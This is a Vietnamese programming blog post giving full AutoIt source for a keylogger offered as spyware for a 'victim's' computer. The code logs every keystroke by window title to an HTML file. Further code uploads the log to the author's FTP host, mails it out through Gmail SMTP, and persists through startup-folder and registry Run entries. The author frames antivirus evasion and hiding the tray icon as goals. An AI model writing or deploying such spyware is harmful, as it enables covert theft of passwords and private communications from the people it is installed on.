Trở về
Tham gia nhóm m Autoit đ đưc hưng dn và gii đáp trc tiếp : http://fb.com/groups/autoitscript
Tin tức công nghệ  -  Thủ thuật lập trình

Friday, September 27, 2013

Mã nguồn keylogger (Autoit)


Toàn màn hìnhIn bài viết

Viết Keylogger bằng ngôn ngữ Autoit

Ở bài này mình sẽ hướng dẫn cho các bạn cách viết một phần mềm keylogger đơn giản , gọn nhẹ cho riêng mình , có đầy đủ chức năng send mail , FTP , xuất log ra html như một con keylogger thương mại thực thụ ...

Đây là con keylogger sơ khởi chưa được phát triển , các bạn tham khảo mã nguồn và tự mình phát triển nhé ^^



  • 1. Keylogger là gì ?
    Keylogger hay "trình theo dõi thao tác bàn phím" là một chương trình máy tính ban đầu được viết nhằm mục đích theo dõi và ghi lại mọi thao tác thực hiện trên bàn phím vào một tập tin nhật ký (log) để cho người cài đặt nó sử dụng. Vì chức năng mang tính vi phạm vào riêng tư của người khác này nên các trình keylogger được xếp vào nhóm các phần mềm gián điệp ...

Vậy tại sao không sử dụng những keylogger có sẵn ??? ... Bởi vì hầu hết các loại keylogger hiện nay nều nằm trong blacklist của các trình antivirus và hầu hết đều không sử dụng được khi mà các máy tính hiện nay phần lớn đều cài các chương trình antivirus update hàng ngày . Hãng BPK (Blazingtool Perfect Keylogger) vừa tung ra thị trường bản keylogger mới nhất hứa hẹn khả năng qua mặt các AV hiện nay ... nhưng đó cũng chỉ là vấn đề thời gian cho tới khi các chương trình virus cập nhật được mã nguồn của phiên bản này và đưa vào blacklist ^^ ...

Không dài dòng nữa , chúng ta bắt đầu luôn về thiết kế mã nguồn một con keylogger :">

  • 2. Mã nguồn keylogger 
 Đây là keylogger mình viết đã lâu rồi , có edit lại chút ^^ , sử dụng hàm _Ispressed nên có thể gặp lỗi khi người dùng gõ phím quá nhanh hoặc quá chậm hay chèn phím ... và ko capture được bàn phím ảo , những bài sau này mình sẽ viết về Hook & API , viết keylogger thông qua hook sẽ khắc phục được những nhược điểm nêu trên :">

Source code :
 
;~ #NoTrayIcon ; Không hiện icon trên taskbar
; ## Opt("TrayIconHide", 1) #hides the tray icon, although its visible for a second.

#include<Misc.au3>

;======================================== Variables ============================================
;$hDll=DllOpen("user32.dll")
$window2=""
$date=@year&@mon&@mday
$log=@ScriptDir ; Đường dẫn tới file log
$keystroke=""
;$hexKey = '0x' & $hexKey
;===============================================================================================

;======================================== Directory ============================================
DirCreate ($log)
$file = FileOpen($log&"\logfiles"&$date&".htm", 1+256) ; Tạo log lưu trữ nội dung capture (UTF-8)
If $file = -1 Then ; thoát nếu gặp lỗi
  Exit
EndIf

filewrite($file,'<font face=Verdana size=1>')


;===============================================================================================

Func terminate()
    DllClose($hDll)
    Exit 0
EndFunc

;======================================== LogWrite ============================================

Func _LogKeyPress($what2log)
$window=WinGetTitle("")
Switch $window
    Case $window2
    FileWrite($file,$what2log)
    Sleep(100)
    Case Else
 $window2=$window


$main="<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b></br>'& $what2log


If $window="Yahoo! Messenger" then
 FileWrite($file, '<br><BR><img src="yahoo.png" width=30 height=30>' & $main)
ElseIf StringInStr($window,"Google Chrome") then
    FileWrite($file, '<br><BR><img src="chrome.png" width=30 height=30>' & $main)
ElseIf    StringInStr($window,"Mozilla Firefox") then
    FileWrite($file, '<br><BR><img src="Firefox.png" width=30 height=30>' & $main)
ElseIf    StringInStr($window,"Windows Internet Explorer") then
    FileWrite($file, '<br><BR><img src="IE.png" width=30 height=30>' & $main)
EndIf  ; Set icon cho một số chương trình thông dụng để tiện theo dõi log

sleep (100)
EndSwitch
EndFunc

;===============================================================================================

$Dllcall = DllOpen("user32.dll")

;Call DLL để sử dụng hàm _IsPressed là hàm chính của keylogger

;======================================== Alphabets ============================================
While 1

If _IsPressed('6A',$Dllcall) Then
    local $a
    $a=terminate()
EndIf

 If _IsPressed(41,$Dllcall) Then ;if return 1
    _LogKeyPress("a")
EndIf


 If _IsPressed(42,$Dllcall) Then
    _LogKeyPress("b")
EndIf


 If _IsPressed(43,$Dllcall) Then
    _LogKeyPress("c")
EndIf


 If _IsPressed(44,$Dllcall) Then
    _LogKeyPress("d")
EndIf


 If _IsPressed(45,$Dllcall) Then
    _LogKeyPress("e")
EndIf


 If _IsPressed(46,$Dllcall) Then
    _LogKeyPress("f")
EndIf


 If _IsPressed(47,$Dllcall) Then
    _LogKeyPress("g")
EndIf


 If _IsPressed(48,$Dllcall) Then
    _LogKeyPress("h")
EndIf


 If _IsPressed(49,$Dllcall) Then
    _LogKeyPress("i")
EndIf


 If _IsPressed('4a',$Dllcall) Then
    _LogKeyPress("j")
EndIf


 If _IsPressed('4b',$Dllcall) Then
    _LogKeyPress("k")
EndIf


 If _IsPressed('4c',$Dllcall) Then
    _LogKeyPress("l")
EndIf


 If _IsPressed('4d',$Dllcall) Then
    _LogKeyPress("m")
EndIf


 If _IsPressed('4e',$Dllcall) = 1 Then
    _LogKeyPress("n")
EndIf


 If _IsPressed('4f',$Dllcall) Then
    _LogKeyPress("o")
EndIf


 If _IsPressed(50,$Dllcall) Then
    _LogKeyPress("p")
EndIf


 If _IsPressed(51,$Dllcall) Then
    _LogKeyPress("q")
EndIf


 If _IsPressed(52,$Dllcall) Then
    _LogKeyPress("r")
EndIf


 If _IsPressed(53,$Dllcall) Then
    _LogKeyPress("s")
EndIf


 If _IsPressed(54,$Dllcall) Then
    _LogKeyPress("t")
EndIf


 If _IsPressed(55,$Dllcall) Then
    _LogKeyPress("u")
EndIf


 If _IsPressed(56,$Dllcall) Then
    _LogKeyPress("v")
EndIf


 If _IsPressed(57,$Dllcall) Then
    _LogKeyPress("w")
EndIf


 If _IsPressed(58,$Dllcall) Then
    _LogKeyPress("x")
EndIf


 If _IsPressed(59,$Dllcall) Then
    _LogKeyPress("y")
EndIf

  If _IsPressed('5a',$Dllcall) Then
    _LogKeyPress("z")
EndIf

;========================================================================================

;=================================== Numbers ===========================================
   If _IsPressed('30',$Dllcall) Then
    _LogKeyPress("0")
 EndIf


     If _IsPressed('31',$Dllcall) Then
    _LogKeyPress("1")
 EndIf


     If _IsPressed('32',$Dllcall) Then
    _LogKeyPress("2")
 EndIf


     If _IsPressed('33',$Dllcall) Then
    _LogKeyPress("3")
 EndIf


     If _IsPressed('34',$Dllcall) Then
    _LogKeyPress("4")
 EndIf


     If _IsPressed('35',$Dllcall) Then
    _LogKeyPress("5")
 EndIf


     If _IsPressed('36',$Dllcall) Then
    _LogKeyPress("6")
 EndIf


     If _IsPressed('37',$Dllcall) Then
    _LogKeyPress("7")
 EndIf


     If _IsPressed('38',$Dllcall) Then
    _LogKeyPress("8")
EndIf


   If _IsPressed('39',$Dllcall) Then
    _LogKeyPress("9")
EndIf
;===================================================================================


;=================================== Keystrokes ====================================
 If _IsPressed('20',$Dllcall) Then
    _LogKeyPress(" ")
 EndIf


   If _IsPressed('08',$Dllcall) Then
    _LogKeyPress("{BACKSPACE}")
 EndIf


   If _IsPressed('09',$Dllcall) Then
    _LogKeyPress("{TAB}")
 EndIf


   If _IsPressed('0d',$Dllcall) Then
    _LogKeyPress("{ENTER}")
 EndIf

   If _IsPressed('10',$Dllcall) Then

    _LogKeyPress("{SHIFT}")

    While _IsPressed("10")

If _IsPressed('BA',$Dllcall) Then
    _LogKeyPress(";")
ElseIf _IsPressed('BB',$Dllcall) Then
    _LogKeyPress("+")
ElseIf _IsPressed('BC',$Dllcall) Then
    _LogKeyPress("<")
ElseIf _IsPressed('BD',$Dllcall) Then
    _LogKeyPress("_")
ElseIf _IsPressed('BE',$Dllcall) Then
    _LogKeyPress(">")
ElseIf _IsPressed('BF',$Dllcall) Then
    _LogKeyPress("?")
ElseIf _IsPressed('DB',$Dllcall) Then
    _LogKeyPress("{")
ElseIf _IsPressed('DC',$Dllcall) Then
    _LogKeyPress("|")
ElseIf _IsPressed('DD',$Dllcall) Then
    _LogKeyPress("}")
ElseIf _IsPressed('30',$Dllcall) Then
    _LogKeyPress(")")
ElseIf _IsPressed('31',$Dllcall) Then
    _LogKeyPress("!")
ElseIf _IsPressed('32',$Dllcall) Then
    _LogKeyPress("@")
ElseIf _IsPressed('33',$Dllcall) Then
    _LogKeyPress("#")
ElseIf _IsPressed('34',$Dllcall) Then
    _LogKeyPress("$")
ElseIf _IsPressed('35',$Dllcall) Then
    _LogKeyPress("%")
ElseIf _IsPressed('36',$Dllcall) Then
    _LogKeyPress("^")
ElseIf _IsPressed('37',$Dllcall) Then
    _LogKeyPress("&")
ElseIf _IsPressed('38',$Dllcall) Then
    _LogKeyPress("*")
ElseIf _IsPressed('39',$Dllcall) Then
    _LogKeyPress("(")

EndIf

        Sleep(10) ; important to prevent 100% CPU usage in this tight little loop
    WEnd
EndIf

  If _IsPressed('14',$Dllcall) Then
    _LogKeyPress("{CAPSLOCK}")
EndIf


   If _IsPressed('1b',$Dllcall) Then
    _LogKeyPress("{ESC}")
EndIf

     If _IsPressed('23',$Dllcall) Then
    _LogKeyPress("{END}")
 EndIf


     If _IsPressed('24',$Dllcall) Then
    _LogKeyPress("{HOME}")
 EndIf


     If _IsPressed('25',$Dllcall) Then
    _LogKeyPress("{LEFT ARROW}")
 EndIf


     If _IsPressed('26',$Dllcall) Then
    _LogKeyPress("{UP ARROW}")
 EndIf


     If _IsPressed('27',$Dllcall) Then
    _LogKeyPress("{RIGHT ARROW}")
 EndIf


     If _IsPressed('28',$Dllcall) Then
    _LogKeyPress("{DOWN ARROW}")
 EndIf



     If _IsPressed('2e',$Dllcall) Then
    _LogKeyPress("{DEL}")
EndIf

 If _IsPressed('BA',$Dllcall) Then
    _LogKeyPress(";")
EndIf


 If _IsPressed('BB',$Dllcall) Then
    _LogKeyPress("=")
EndIf


 If _IsPressed('BC',$Dllcall) Then
    _LogKeyPress(",")
EndIf


 If _IsPressed('BD',$Dllcall) Then
    _LogKeyPress("-")
EndIf


 If _IsPressed('BE',$Dllcall) Then
    _LogKeyPress(".")
EndIf


 If _IsPressed('BF',$Dllcall) Then
    _LogKeyPress("/")
EndIf


 If _IsPressed('DB',$Dllcall) Then
    _LogKeyPress("[")
EndIf

 If _IsPressed('DC',$Dllcall) Then
    _LogKeyPress("\")
EndIf

 If _IsPressed('DD',$Dllcall) Then
    _LogKeyPress("]")
EndIf


;=======================================================================================

WEnd

Đính kèm các icon  : http://dl.dropbox.com/u/59972213/Blogger/Keylogger%20Mini.7z

Vậy sau khi chúng ta có được log thì làm sao để lấy nó từ máy tính của victim ? ... Có rất nhiều cách để có thể lấy log từ máy tính của victim như send mail , FTP , P2P hay chỉ đơn giản là TCP hoặc upload lên các dịch vụ upload trung gian ... Nhưng mình sẽ chỉ hướng dẫn các bạn 2 cách phổ biến và thông dụng nhất là FTP và send mail , các phương pháp khác , các bạn tự tìm hiểu nhé ^^

  • 3. FTP
Sơ lược về FTP :

FTP (viết tắt của File Transfer Protocol dịch ra là "Giao thức truyền tập tin") thường được dùng để trao đổi tập tin qua mạng lưới truyền thông dùng giao thức TCP/IP . Nói một cách đơn giản thì FTP là một giao thức chuẩn hóa để xử lý , truyền tải tập tin , dữ liệu giữa web server và client (upload, download , edit ...)

Đây là thư viện sử dụng cho giao thức FTP viết bằng ngôn ngữ Autoit , các bạn save lại với tên FTP.au3

Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)

    Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
    If @error OR $ai_InternetOpen[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetOpen[0]

EndFunc ;==> _FTPOpen()
Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0)

    Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
    If @error OR $ai_InternetConnect[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetConnect[0]

EndFunc ;==> _FTPConnect()

Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)

    Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
    If @error OR $ai_FTPPutFile[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_FTPPutFile[0]

EndFunc ;==> _FTPPutFile()


Func _FTPGetFile($l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_Flags = 2, $l_Fail = -1, $l_Attributes = 0, $l_Context = 0)

   Local $ai_FTPGetFile = DllCall('wininet.dll', 'int', 'FtpGetFile', 'long', $l_FTPSession, 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_Fail, 'long', $l_Attributes, 'long', $l_Flags, 'long', $l_Context)
   If @error OR $ai_FTPGetFile[0] = 0 Then
       SetError(-1)
       Return 0
   EndIf

   Return $ai_FTPGetFile[0]

EndFunc;==> _FTPGetFile()

Func _FTPClose($l_InternetSession)

    Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession)
    If @error OR $ai_InternetCloseHandle[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetCloseHandle[0]

EndFunc ;==> _FTPClose()

 Sau đó chúng ta include thư viện này vào để sử dụng cho lời gọi hàm
Ví dụ lun cho dễ hiểu :">

#include <FTP.au3> ; include thư viện để xài ^^
$urlFTP='' ; đường dẫn sử dụng ftp mà server cung cấp cho bạn (ví dụ host mình là ftp.raito.comli.com)
$userFTP='' ; user FTP của bạn
$passFTP='' ; password FTP của bạn
$uploaddir = '/public_html/' ; đường dẫn đến thư mục cần upload của bạn ( một số host mặc định đường dẫn cấp 1 là public_html hoặc htdocs)

$dllhandle = DllOpen('wininet.dll') ; gọi dll để thực hiện hàm

$Open = _FTPOpen('MyFTP Control') ; khởi tạo giao thức FTP
$Conn = _FTPConnect($Open,$urlFTP, $userFTP, $passFTP) ; kết nối tới host bằng giao thức FTp đã khởi tạo
$Ftpp = _FtpPutFile($Conn,@DesktopDir&'\log.txt', $uploaddir & 'log.txt') ; up một file lên host ( thay @DesktopDir&'\log.txt' bằng đường dẫn tới file log)
$Ftpg = _FtpGetFile($Conn,$uploaddir & 'log.txt',@DesktopDir&'\log.txt') ; download file log từ host
$Ftpc = _FTPClose($Open) ; đóng giao thức FTP

 DllClose($dllhandle) ; close dll

tiếp theo là gửi log qua mail ...

  • 4. MAIL
Sử dụng hàm send mail để gửi nội dung log bằng 2 cách :
1.Đính kèm file log vào attachment để gửi mail ( $AttachFiles = "đường dẫn đến file log") .
2.Đọc nội dung file log bằng hàm FileRead rồi đưa vào $as_Body để send mail .

;##################################
; Variables
;##################################
$SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
$s_FromAddress = "" ; address from where the mail should come
$ToAddress = "Yagami Raito" ; destination address of the email - REQUIRED
$s_Subject = "" ; subject of the email
$as_Body = "Hello !" ; the messagebody from the mail - can be left blank but then you get a blank mail
$AttachFiles = "" ; the file you want to attach- leave blank if not needed
$CcAddress = "" ; address for cc - leave blank if not needed
$BccAddress = "" ; address for bcc - leave blank if not needed
$Importance = "High" ; Send message priority: "High", "Normal", "Low"
$s_Username = "" ; your email username
$s_Password = "" ; your email password
$IPPort = 465 ; port used for sending the mail
$ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS


; :: SEND MAIL ::
_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject  , $as_Body , $s_AttachFiles , $s_CcAddress , $s_BccAddress , $s_Importance , $s_Username , $s_Password , $IPPort, $ssl)


;##################################
; UDF
;##################################

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ;    ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc   ;==>_INetSmtpMailCom
;
;
Func MyErrFunc()
    Local $HexNumber
    Local $strMsg
    $HexNumber = Hex($oMyError.Number, 8)
    $strMsg = "Error Number: " & $HexNumber & @CRLF
    $strMsg &= "WinDescription: " & $oMyError.WinDescription & @CRLF
    $strMsg &= "Script Line: " & $oMyError.ScriptLine & @CRLF
    SetError(1)
EndFunc   ;==>MyErrFunc


Vậy là ta đã hoàn thành xong những bước cơ bản để tạo một con keylogger bằng Autoit với đầy đủ các chức năng theo dõi , send mail , FTP ...
Các bạn hãy tự hoàn thiện thêm chương trình bằng cách thêm các hàm ẩn chương trình trên taskbar (#NoTrayIcon) hoặc hàm tự khởi động cùng windows trên startup , registry hoặc services ...

UDF startup , các bạn tự nghiên cứu và sử dụng :

#include-once

; #AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6 -w 7
; #INDEX# =======================================================================================================================
; Title .........: _Startup
; AutoIt Version : v3.2.12.1 or higher
; Language ......: English
; Description ...: Create startup entries in the startup folder or registry. The registry entries can be Run all the time (Run registry entry) or only once (RunOnce registry entry.)
; Note ..........:
; Author(s) .....: guinness
; Remarks .......: Special thanks to KaFu for EnumRegKeys2Array() which I used as inspiration for enumerating the Registry Keys.
; ===============================================================================================================================

; #INCLUDES# ====================================================================================================================
; None

; #GLOBAL VARIABLES# ============================================================================================================
; None

; #CURRENT# =====================================================================================================================
; _StartupFolder_Install: Creates a shortcut in the 'All Users/Current Users' startup folder.
; _StartupFolder_Uninstall: Deletes the shortcut in the 'All Users/Current Users' startup folder.
; _StartupRegistry_Install: Creates an entry in the 'All Users/Current Users' registry.
; _StartupRegistry_Uninstall: Deletes the entry in the 'All Users/Current Users' registry.
; ===============================================================================================================================

; #INTERNAL_USE_ONLY#============================================================================================================
; None
; ===============================================================================================================================

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupFolder_Install
; Description ...: Creates a shortcut in the 'All Users/Current Users' startup folder.
; Syntax ........: _StartupFolder_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ""[,
;                  $iAllUsers = 0]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $sCommandline        - [optional] Commandline arguments to be passed to the application. Default is "".
;                  $iAllUsers           - [optional] Add to the current users (0) or all users (1). Default is 0.
; Return values .: Success - Returns 1
;                  Failure - Returns 0 & sets @error to non-zero
; Author ........: guinness
; Modified ......:
; Example .......: Yes
; ===============================================================================================================================
Func _StartupFolder_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = "", $iAllUsers = 0)
    Local $sStartup = ""

    $sName = StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "")
    If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then
        Return SetError(1, 0, 0)
    EndIf

    _StartupFolder_Uninstall($sName, $sFilePath, $iAllUsers) ; Deletes the shortcut in the 'All Users/Current Users' startup folder.

    If $iAllUsers Then
        $sStartup = @StartupCommonDir & "\"
    Else
        $sStartup = @StartupDir & "\"
    EndIf
    Return FileCreateShortcut($sFilePath, $sStartup & $sName & ".lnk", $sStartup, $sCommandline)
EndFunc   ;==>_StartupFolder_Install

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupFolder_Uninstall
; Description ...: Deletes the shortcut in the 'All Users/Current Users' startup folder.
; Syntax ........: _StartupFolder_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $iAllUsers = 0]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $iAllUsers           - [optional] Was it added to the current users (0) or all users (1). Default is 0.
; Return values .: Success - Returns 1
;                  Failure - Returns 0 & sets @error to non-zero
; Author ........: guinness
; Modified ......:
; Example .......: Yes
; ===============================================================================================================================
Func _StartupFolder_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $iAllUsers = 0)
    Local $aFileGetShortcut, $hSearch, $iStringLen = 0, $sFile, $sStartup = ""

    $sName = StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "")
    If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then
        Return SetError(1, 0, 0)
    EndIf
    $iStringLen = StringLen($sName)

    If $iAllUsers Then
        $sStartup = @StartupCommonDir & "\"
    Else
        $sStartup = @StartupDir & "\"
    EndIf

    $hSearch = FileFindFirstFile($sStartup & "*.lnk")
    If $hSearch = -1 Then
        Return SetError(2, 0, 0)
    EndIf
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then
            ExitLoop
        EndIf
        If StringLeft($sFile, $iStringLen) = $sName Then
            $aFileGetShortcut = FileGetShortcut($sStartup & $sFile)
            If @error Then
                ContinueLoop
            EndIf
            If $aFileGetShortcut[0] = $sFilePath Then
                FileDelete($sStartup & $sFile)
            EndIf
        EndIf
    WEnd
    Return FileClose($hSearch)
EndFunc   ;==>_StartupFolder_Uninstall

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupRegistry_Install
; Description ...: Creates an entry in the 'All Users/Current Users' registry.
; Syntax ........: _StartupRegistry_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ""[,
;                  $iAllUsers = 0[, $iRunOnce = 0]]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $sCommandline        - [optional] Commandline arguments to be passed to the application. Default is "".
;                  $iAllUsers           - [optional] Add to the current users (0) or all users (1). Default is 0.
;                  $iRunOnce            - [optional] Always run at system startup (0), run only once before explorer is started (1)
;                                          or run only once after explorer is started (2). Default is 0.
; Return values .: Success - Returns 1
;                  Failure - Returns 0 & sets @error to non-zero
; Author ........: guinness
; Modified ......:
; Example .......: Yes
; ===============================================================================================================================
Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = "", $iAllUsers = 0, $iRunOnce = 0)
    Local $i64Bit = "", $sRegistryKey, $sRunOnce = ""

    _StartupRegistry_Uninstall($sName, $sFilePath, $iAllUsers, $iRunOnce) ; Deletes the entry in the 'All Users/Current Users' registry.

    $sName = StringLower(StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), ""))
    If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then
        Return SetError(1, 0, 0)
    EndIf

    Switch $iRunOnce
        Case 1
            $sRunOnce = "Once"
        Case 2
            $sRunOnce = "OnceEx"
    EndSwitch

    If @OSArch = "X64" Then
        $i64Bit = "64"
    EndIf
    If $iAllUsers Then
        $sRegistryKey = "HKEY_LOCAL_MACHINE" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\"
    Else
        $sRegistryKey = "HKEY_CURRENT_USER" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\"
    EndIf
    Return RegWrite($sRegistryKey, $sName, "REG_SZ", $sFilePath & " " & $sCommandline)
EndFunc   ;==>_StartupRegistry_Install

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupRegistry_Uninstall
; Description ...: Deletes the entry in the 'All Users/Current Users' registry.
; Syntax ........: _StartupRegistry_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $iAllUsers = 0[,
;                  $iRunOnce = 0]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $iAllUsers           - [optional] Was it added to the current users (0) or all users (1). Default is 0.
;                  $iRunOnce            - [optional] Was it always run at system startup (0), run only once before explorer is started (1)
;                                          or run only once after explorer is started (2). Default is 0.
; Return values .: Success - Returns 1
;                  Failure - Returns 0 & sets @error to non-zero
; Author ........: guinness
; Modified ......:
; Example .......: Yes
; ===============================================================================================================================
Func _StartupRegistry_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $iAllUsers = 0, $iRunOnce = 0)
    Local $i64Bit = "", $iCount = 1, $sRegistryKey, $sRegistryName, $sRegistryValue, $sRunOnce

    $sName = StringLower(StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), ""))
    If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then
        Return SetError(1, 0, 0)
    EndIf

    Switch $iRunOnce
        Case 1
            $sRunOnce = "Once"
        Case 2
            $sRunOnce = "OnceEx"
    EndSwitch

    If @OSArch = "X64" Then
        $i64Bit = "64"
    EndIf
    If $iAllUsers Then
        $sRegistryKey = "HKEY_LOCAL_MACHINE" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\"
    Else
        $sRegistryKey = "HKEY_CURRENT_USER" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\"
    EndIf

    While 1
        $sRegistryName = RegEnumVal($sRegistryKey, $iCount)
        If @error Then
            ExitLoop
        EndIf

        $sRegistryValue = RegRead($sRegistryKey, $sRegistryName)
        If ($sRegistryName = $sName) And ($sRegistryValue = $sFilePath) Then
            RegDelete($sRegistryKey, $sName)
        EndIf
        $iCount += 1
    WEnd
    Return 1
EndFunc   ;==>_StartupRegistry_Uninstall

Chúng ta kết thúc bài này ở đây ^^, ở các bài sau mình sẽ hướng dẫn các bạn cách viết một chương trình điều khiển máy tính từ xa và cách tạo một phần mềm dạng silent install (IDM) , các bạn nhớ theo dõi nhé :">